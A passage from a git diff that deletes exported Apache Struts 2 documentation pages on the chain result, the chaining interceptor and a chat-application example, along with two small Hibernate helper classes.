-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Chain Result</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="result-types.html">Result Types</a>&nbsp;&gt;&nbsp;<a href="chain-result.html">Chain Result</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Chain Result</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14254">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14254">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14254">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14254">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14254">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14254">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-
-<p>This result invokes an entire other action, complete with it's own interceptor stack and result.</p>
-
-
-<h1 id="ChainResult-Parameters">Parameters</h1>
-
-
-<p></p><ul></ul><p></p><ul><li><b>actionName (default)</b> - the name of the action that will be chained to</li></ul><p></p><ul><li><b>namespace</b> - used to determine which namespace the Action is in that we're chaining. If namespace is null,
-this defaults to the current namespace</li></ul><p></p><ul><li><b>method</b> - used to specify another method on target action to be invoked.
-If null, this defaults to execute method</li></ul><p></p><ul><li><b>skipActions</b> - (optional) the list of comma separated action names for the
-actions that could be chained to</li></ul><p></p>
-
-
-<h1 id="ChainResult-Examples">Examples</h1>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;package name=&quot;public&quot; extends=&quot;struts-default&quot;&gt;
-    &lt;!-- Chain creatAccount to login, using the default parameter --&gt;
-    &lt;action name=&quot;createAccount&quot; class=&quot;...&quot;&gt;
-        &lt;result type=&quot;chain&quot;&gt;login&lt;/result&gt;
-    &lt;/action&gt;
-
-    &lt;action name=&quot;login&quot; class=&quot;...&quot;&gt;
-        &lt;!-- Chain to another namespace --&gt;
-        &lt;result type=&quot;chain&quot;&gt;
-            &lt;param name=&quot;actionName&quot;&gt;dashboard&lt;/param&gt;
-            &lt;param name=&quot;namespace&quot;&gt;/secure&lt;/param&gt;
-        &lt;/result&gt;
-    &lt;/action&gt;
-&lt;/package&gt;
-
-&lt;package name=&quot;secure&quot; extends=&quot;struts-default&quot; namespace=&quot;/secure&quot;&gt;
-    &lt;action name=&quot;dashboard&quot; class=&quot;...&quot;&gt;
-        &lt;result&gt;dashboard.jsp&lt;/result&gt;
-    &lt;/action&gt;
-&lt;/package&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/chaining-interceptor.data/HibernateAction.java b/content/docs/chaining-interceptor.data/HibernateAction.java
deleted file mode 100644
index 03c9654..0000000
--- a/content/docs/chaining-interceptor.data/HibernateAction.java
+++ /dev/null
@@ -1,47 +0,0 @@
-package cash.action;
-
-import org.apache.log4j.Logger;
-
-import com.opensymphony.xwork.ActionContext;
-import com.opensymphony.xwork.ActionSupport;
-
-/**
- * Superclass for Hibernate-aware actions.
- *
- * @author Joel Hockey
- * @version $Id: $
- */
-public abstract class HibernateAction extends ActionSupport {
-    /** xwork action return code */
-    public static final String DBERROR = "dberror";
-
-    private static final Logger LOG = Logger.getLogger(HibernateAction.class);
-
-    private boolean m_rollback = false;
-
-    /** roll back the current session */
-    protected void setRollbackOnly() { m_rollback = true; }
-
-    /** @return whether the current Hibernate Session should be rolled back */
-    public boolean getRollback() { return m_rollback; }
-
-    /**
-     * Sets an object into the web session
-     * @param key Key used to index object
-     * @param object The object to store
-     */
-    public void set(Object key, Object object) {
-        ActionContext.getContext().getSession().put(key, object);
-    }
-
-    /**
-     * Retrieve object from web session
-     * @param key Key used to index object
-     * @return object if it exists, or null
-     */
-    public Object get(Object key) {
-        return ActionContext.getContext().getSession().get(key);
-    }
-}
-
-
diff --git a/content/docs/chaining-interceptor.data/HibernateUtil.java b/content/docs/chaining-interceptor.data/HibernateUtil.java
deleted file mode 100644
index 4da3da9..0000000
--- a/content/docs/chaining-interceptor.data/HibernateUtil.java
+++ /dev/null
@@ -1,67 +0,0 @@
-package cash.util;
-
-import net.sf.hibernate.HibernateException;
-import net.sf.hibernate.SessionFactory;
-import net.sf.hibernate.Session;
-import net.sf.hibernate.cfg.Configuration;
-
-import org.apache.log4j.Logger;
-
-/**
- * Helper Singleton class to manage Hibernate Sessions.
- *
- * @author Joel Hockey
- * @version $Id: $
- */
-public class HibernateUtil {
-
-    /** ThreadLocal Session Map */
-    public static final ThreadLocal MAP = new ThreadLocal();
-
-    private static final Logger LOG = Logger.getLogger(HibernateUtil.class);
-
-    private static final SessionFactory SESSION_FACTORY;
-
-    /** Make default construct private */
-    private HibernateUtil() { }
-
-    /** Loads Hibernate config. */
-    static {
-        try {
-            LOG.debug("HibernateUtil.static - loading config");
-            SESSION_FACTORY = new Configuration().configure().buildSessionFactory();
-            LOG.debug("HibernateUtil.static - end");
-        } catch (HibernateException ex) {
-            throw new RuntimeException("Exception building SessionFactory: " + ex.getMessage(), ex);
-        }
-    }
-
-    /**
-     * Gets Hibernate Session for current thread.  When finished, users
-     * must return session using {@link #closeSession() closeSession()} method.
-     * @return Hibernate Session for current thread.
-     * @throws HibernateException if there is an error opening a new session.
-     */
-    public static Session currentSession() throws HibernateException {
-        Session s = (Session)MAP.get();
-        // Open a new Session, if this Thread has none yet
-        if (s == null) {
-            s = SESSION_FACTORY.openSession();
-            MAP.set(s);
-        }
-        return s;
-    }
-
-    /**
-     * Closes the Hibernate Session.  Users must call this method after calling
-     * {@link #currentSession() currentSession()}.
-     * @throws HibernateException if session has problem closing.
-     */
-    public static void closeSession() throws HibernateException {
-        Session s = (Session)MAP.get();
-        MAP.set(null);
-        if (s != null) {
-            s.close();
-        }
-    }
-}
\ No newline at end of file
diff --git a/content/docs/chaining-interceptor.html b/content/docs/chaining-interceptor.html
deleted file mode 100644
index 2e3f669..0000000
--- a/content/docs/chaining-interceptor.html
+++ /dev/null
@@ -1,177 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Chaining Interceptor</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="interceptors.html">Interceptors</a>&nbsp;&gt;&nbsp;<a href="chaining-interceptor.html">Chaining Interceptor</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Chaining Interceptor</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14217">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14217">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14217">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14217">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14217">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14217">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="ChainingInterceptor-Description">Description</h2><p>An interceptor that copies all the properties of every object in the value stack to the currently executing object,&#160;except for any object that implements <a shape="rect" class="external-link" href="http://struts.apache.org/maven/xwork-core/apidocs/com/opensymphony/xwork2/Unchainable.html">Unchainable</a>. A collection of optional <code>includes</code>&#160;and&#160;<code>excludes</cod [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;constant name="struts.xwork.chaining.copyErrors" value="true"/&gt;</pre>
-</div></div><h2 id="ChainingInterceptor-Parameters">Parameters</h2><ul style="list-style-type: square;"><li><code>excludes</code>&#160;(optional) - the list of parameter names to exclude from copying (all others will be included)</li><li><span style="line-height: 1.4285715;"><code>includes</code>&#160;(optional) - the list of parameter names to include when copying (all others will be excluded)</span></li></ul><h2 id="ChainingInterceptor-ExtendingtheInterceptor">Extending the Interceptor [...]
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;action name="someAction" class="com.examples.SomeAction"&gt;
-    &lt;interceptor-ref name="basicStack"/&gt;
-	&lt;result name="success" type="chain"&gt;otherAction&lt;/result&gt;
-&lt;/action&gt;
-
-&lt;action name="otherAction" class="com.examples.OtherAction"&gt;
-    &lt;interceptor-ref name="chain"/&gt;
-	&lt;interceptor-ref name="basicStack"/&gt;
-	&lt;result name="success"&gt;good_result.ftl&lt;/result&gt;
-&lt;/action&gt;</pre>
-</div></div><p>This examples chains two actions but only one property from first action is copied to another</p><div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">&lt;action name="someAction" class="com.examples.SomeAction"&gt;
-    &lt;interceptor-ref name="basicStack"/&gt;
-	&lt;result name="success" type="chain"&gt;otherAction&lt;/result&gt;
-&lt;/action&gt;
-
-&lt;action name="otherAction" class="com.examples.OtherAction"&gt;
-    &lt;interceptor-ref name="chainStack"&gt;
-		&lt;param name="chain.includes"&gt;prop1&lt;/param&gt;
-	&lt;/interceptor-ref&gt;
-	&lt;result name="success"&gt;good_result.ftl&lt;/result&gt;
-&lt;/action&gt;</pre>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/chat-application.html b/content/docs/chat-application.html
deleted file mode 100644
index 91a244a..0000000
--- a/content/docs/chat-application.html
+++ /dev/null
@@ -1,315 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Chat Application</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="tutorials.html">Tutorials</a>&nbsp;&gt;&nbsp;<a href="examples.html">Examples</a>&nbsp;&gt;&nbsp;<a href="chat-application.html">Chat Application</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Chat Application</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14125">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14125">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14125">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14125">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14125">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14125">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<p>The application works like a mini-BBS. Users login to the application with a nickname. The user session is saved in a session scoped component. Once logged in, they can leave quips or messages.</p>
-
-<h2 id="ChatApplication-ActionClasses">Action Classes</h2>
-<p><code>LoginAction</code> extends <code>ActionSupport</code>, which has default implementations of some of the basic action methods and provides some validation support.</p>
-
-<p>The two main methods we are concerned with in <code>ActionSupport</code> are <code>validate()</code> and <code>execute()</code>.</p>
-
-<h2 id="ChatApplication-Validation">Validation</h2>
-
-<p>Validation is performed on your Action class if it implements <code>Validatable</code> (<code>ActionSupport</code> does), and your DefaultWorkflowInterceptor is activated on that action. The default configuration includes the workflow interceptor.</p>
-
-<h2 id="ChatApplication-Execution">Execution</h2>
-
-<p><code>execute()</code> returns a String. This String will be used to determine which result is used.</p>
-
-<p>The framework provides some default return Strings, namely:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-Action.SUCCESS = "success"
-Action.INPUT = "input"
-Action.NONE = "none"
-Action.ERROR = "error"
-Action.LOGIN = "login"
-</pre>
-</div></div>
-
-<p>For example, lets take a look at the relevant part of our <code>struts.xml</code> configuration for LoginAction...</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>struts.xml fragment</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="login" class="example.LoginAction"&gt; 
-  &lt;result name="success" type="chain"&gt; 
-    &lt;param name="actionName"&gt;viewMessages&lt;/param&gt;
-  &lt;/result&gt;
-
-  &lt;result name="input" type="chain"&gt; 
-    &lt;param name="actionName"&gt;viewMessages&lt;/param&gt;
-  &lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<p>If <code>execute()</code> returns a String of "success", the result with attribute "success" will be used. If <code>execute()</code> returns a String of "input", the result with attribute "input" will be used.</p>
-
-<p>You can define your own return results. For example:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public String execute() {
-  return "resetPassword";
-}
-</pre>
-</div></div>
-
-<p>We need only configure a result for the "resetPassword" name:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="login" class="example.LoginAction"&gt; 
-  &lt;result name="resetPassword" type="chain"&gt; 
-    &lt;param name="actionName"&gt;viewResetPassword&lt;/param&gt;
-  &lt;/result&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<h2 id="ChatApplication-ContextVariables/Mapping">Context Variables / Mapping</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>LoginAction.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-public class LoginAction extends ActionSupport {
-
-    private String loginName;
-
-    public String getLoginName() {
-        return loginName;
-    }
-
-    public void setLoginName(String loginName) {
-        this.loginName = loginName;
-    }
-}
-</pre>
-</div></div>
-
-<p><code>LoginAction</code> has a bean property <code>loginName</code>. This property will be set automatically by Struts 2 from forms containing a <code>loginName</code> element.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;form method="POST" action="login.action"&gt;
-  &lt;input type="text" name="loginName" size="20"&gt;
-  &lt;input type="submit" value="Login"&gt;
-&lt;/form&gt;
-</pre>
-</div></div>
-
-<p>Also, the bean property is available to your views. In Velocity, this accessible via the VelocityContext.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-$loginName
-</pre>
-</div></div>
-
-<p>which is mapped to <code>getLoginName()</code> in our <code>LoginAction</code> class.</p>
-
-<p>You can map any other object you wish. For example, I could have a <code>User</code> object:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-class User {
-   private Account account;
-   private String name;
-   // with the relevant getX() methods...
-}
-</pre>
-</div></div>
-
-<p>We add a <code>user</code> property to an action class:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-class MyExampleAction {
-   //...
-   User getUser() {
-      returns user;
-   }
-   //...
-}
-</pre>
-</div></div>
-
-<p>In our Velocity template we can access <code>User</code> properties as expected:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-Welcome, $user.name.
-You last logged on at $user.lastLogin.
-You currently have $user.account.balance left in your account.
-</pre>
-</div></div>
-
-<h2 id="ChatApplication-Components">Components</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>components.xml</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;components&gt; 
-    &lt;component&gt; 
-        &lt;scope&gt;application&lt;/scope&gt;
